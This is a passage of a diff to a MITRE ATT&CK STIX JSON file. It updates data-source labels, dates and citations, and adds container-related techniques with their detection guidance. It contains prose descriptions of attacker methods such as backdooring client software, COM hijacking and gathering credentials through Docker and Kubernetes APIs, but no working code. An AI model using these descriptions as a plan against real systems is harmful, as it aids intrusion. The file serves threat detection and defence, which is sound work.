interactive terminals/shells.", + "name": "Command and Scripting Interpreter", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "x_mitre_version": "2.1", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Module: Module Load", + "Script: Script Execution" ], + "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Network" ], - "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", - "x_mitre_data_sources": [ - "Windows event logs", - "PowerShell logs", - "Process monitoring", - "Process command-line parameters" + "x_mitre_permissions_required": [ + "User" ], - "x_mitre_version": "2.1" + "x_mitre_remote_support": false, + "x_mitre_is_subtechnique": false }, { "created": "2017-05-31T21:30:42.657Z", @@ -4873,12 +5037,6 @@ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", "x_mitre_version": "1.0", - "x_mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_network_requirements": true, "x_mitre_platforms": [ @@ -4922,8 +5080,8 @@ "x_mitre_network_requirements": false, "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media is mounted.", "x_mitre_data_sources": [ - "File monitoring", - "Data loss prevention" + "Drive: Drive Creation", + "Drive: Drive Access" ], "x_mitre_version": "1.0" }, @@ -4996,9 +5154,10 @@ "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" ], "x_mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring" + "File: File Metadata", + "File: File Creation", + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.", "x_mitre_defense_bypassed": [ @@ -5120,9 +5279,9 @@ "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "Process: Process Creation", + "File: File Creation", + "Command: Command Execution" ], "x_mitre_contributors": [ "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International" @@ -5203,10 +5362,9 @@ "Windows" ], "x_mitre_data_sources": [ - "Component firmware", - "Process monitoring", - "Disk forensics", - "API monitoring" + "Driver: Driver Metadata", + "Firmware: Firmware Modification", + "Process: OS API Execution" ], "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.", "x_mitre_defense_bypassed": [ @@ -5279,14 +5437,12 @@ "x_mitre_version": "1.0", "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ", "x_mitre_data_sources": [ - "Process monitoring", - "DLL monitoring" + "Module: Module Load", + "Process: Process Creation", + "Script: Script Execution" ] }, { - "created": "2017-05-31T21:31:33.979Z", - "modified": "2020-03-20T16:01:20.868Z", - "type": "attack-pattern", "revoked": true, "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", "name": "Component Object Model Hijacking", @@ -5307,11 +5463,14 @@ "source_name": "GDATA COM Hijacking" }, { - "source_name": "Endgame COM Hijacking", + "source_name": "Elastic COM Hijacking", "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com" } - ] + ], + "type": "attack-pattern", + "modified": "2020-11-10T18:19:44.725Z", + "created": "2017-05-31T21:31:33.979Z" }, { "external_references": [ @@ -5331,7 +5490,7 @@ "source_name": "GDATA COM Hijacking" }, { - "source_name": "Endgame COM Hijacking", + "source_name": "Elastic COM Hijacking", "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com" } @@ -5354,20 +5513,19 @@ "phase_name": "persistence" } ], - "modified": "2020-07-09T13:55:51.172Z", + "modified": "2020-11-10T18:19:44.750Z", "created": "2020-03-16T14:12:47.923Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ", + "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Loaded DLLs", - "DLL monitoring", - "Windows Registry" + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Module: Module Load" ], "x_mitre_contributors": [ "Elastic" @@ -5462,16 +5620,6 @@ "created": "2018-01-16T16:13:52.465Z", "x_mitre_deprecated": true, "x_mitre_version": "2.0", - "x_mitre_data_sources": [ - "PowerShell logs", - "API monitoring", - "Authentication logs", - "DLL monitoring", - "Packet capture", - "Process monitoring", - "Windows Registry", - "Windows event logs" - ], "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.", "x_mitre_permissions_required": [ "Administrator", @@ -5486,7 +5634,7 @@ }, { "id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a", - "description": "Before compromising a victim, adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", + "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", "name": "Compromise Accounts", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -5511,11 +5659,8 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T18:05:46.296Z", + "modified": "2021-04-15T02:59:07.046Z", "created": "2020-10-01T01:17:15.965Z", - "x_mitre_data_sources": [ - "Social media monitoring" - ], "x_mitre_platforms": [ "PRE" ], @@ -5524,13 +5669,15 @@ "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566))." }, { - "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", - "description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.", - "name": "Compromise Client Software Binary", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2020-02-11T18:18:34.279Z", + "modified": "2020-03-27T14:49:58.249Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } ], + "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -5538,30 +5685,30 @@ "url": "https://attack.mitre.org/techniques/T1554" } ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-03-27T14:49:58.249Z", - "created": "2020-02-11T18:18:34.279Z", - "x_mitre_contributors": [ - "CrowdStrike Falcon OverWatch" - ], - "x_mitre_data_sources": [ - "Process monitoring", - "Binary file metadata" - ], - "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Compromise Client Software Binary", + "description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.", + "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], - "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.0" + "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.", + "x_mitre_data_sources": [ + "File: File Modification", + "File: File Creation", + "File: File Deletion", + "File: File Metadata" + ], + "x_mitre_contributors": [ + "CrowdStrike Falcon OverWatch" + ] }, { "external_references": [ @@ -5590,12 +5737,6 @@ "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, "x_mitre_detection": "Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.", - "x_mitre_data_sources": [ - "Component firmware", - "BIOS", - "Disk forensics", - "EFI" - ], "x_mitre_platforms": [ "Linux", "macOS", @@ -5640,7 +5781,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Compromise Infrastructure", - "description": "Before compromising a victim, adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", + "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "type": "attack-pattern", "kill_chain_phases": [ @@ -5649,7 +5790,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T18:03:23.937Z", + "modified": "2021-04-15T03:04:40.423Z", "created": "2020-10-01T00:36:30.759Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": false, @@ -5690,10 +5831,6 @@ "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ", - "x_mitre_data_sources": [ - "File monitoring", - "Web proxy" - ], "x_mitre_platforms": [ "Linux", "macOS", @@ -5739,10 +5876,6 @@ "macOS", "Windows" ], - "x_mitre_data_sources": [ - "File monitoring", - "Web proxy" - ], "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0" @@ -5783,13 +5916,271 @@ ], "x_mitre_detection": "Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.", "x_mitre_data_sources": [ - "Third-party application logs", - "Authentication logs" + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content" ], "x_mitre_platforms": [ "SaaS" ] }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1552.007", + "url": "https://attack.mitre.org/techniques/T1552/007" + }, + { + "source_name": "Docker API", + "url": "https://docs.docker.com/engine/api/v1.41/", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021." + }, + { + "source_name": "Kubernetes API", + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021." + }, + { + "source_name": "Unit 42 Unsecured Docker Daemons", + "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/", + "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Container API", + "description": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ", + "id": "attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "modified": "2021-04-12T18:20:31.636Z", + "created": "2021-03-31T14:01:52.321Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Jay Chen, Palo Alto Networks", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Access", + "User Account: User Account Authentication" + ] + }, + { + "id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", + "description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)", + "name": "Container Administration Command", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1609", + "url": "https://attack.mitre.org/techniques/T1609" + }, + { + "source_name": "Docker Daemon CLI", + "url": "https://docs.docker.com/engine/reference/commandline/dockerd/", + "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021." + }, + { + "source_name": "Kubernetes API", + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021." + }, + { + "source_name": "Kubernetes Kubelet", + "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/", + "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021." + }, + { + "source_name": "Docker Entrypoint", + "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime", + "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021." + }, + { + "source_name": "Docker Exec", + "url": "https://docs.docker.com/engine/reference/commandline/exec/", + "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021." + }, + { + "source_name": "Kubectl Exec Get Shell", + "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/", + "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021." + } + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "modified": "2021-04-14T12:01:10.545Z", + "created": "2021-03-29T16:39:26.183Z", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_contributors": [ + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Brad Geesaman, @bradgeesaman", + "Center for Threat-Informed Defense (CTID)", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_detection": "Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ", + "x_mitre_remote_support": true, + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.0", + "x_mitre_data_sources": [ + "Command: Command Execution" + ] + }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1053.007", + "url": "https://attack.mitre.org/techniques/T1053/007" + }, + { + "source_name": "Kubernetes Jobs", + "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/", + "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021." + }, + { + "source_name": "Kubernetes CronJob", + "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", + "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021." + }, + { + "source_name": "Threat Matrix for Kubernetes", + "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Container Orchestration Job", + "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)", + "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "modified": "2021-04-12T18:09:46.821Z", + "created": "2021-03-29T17:06:22.247Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_data_sources": [ + "Scheduled Job: Scheduled Job Creation", + "Container: Container Creation", + "File: File Creation" + ] + }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1613", + "url": "https://attack.mitre.org/techniques/T1613" + }, + { + "source_name": "Docker API", + "url": "https://docs.docker.com/engine/api/v1.41/", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021." + }, + { + "source_name": "Kubernetes API", + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Container and Resource Discovery", + "description": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ", + "id": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "modified": "2021-04-12T18:22:05.737Z", + "created": "2021-03-31T14:26:00.848Z", + "x_mitre_contributors": [ + "Vishwas Manral, McAfee", + "Center for Threat-Informed Defense (CTID)", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ", 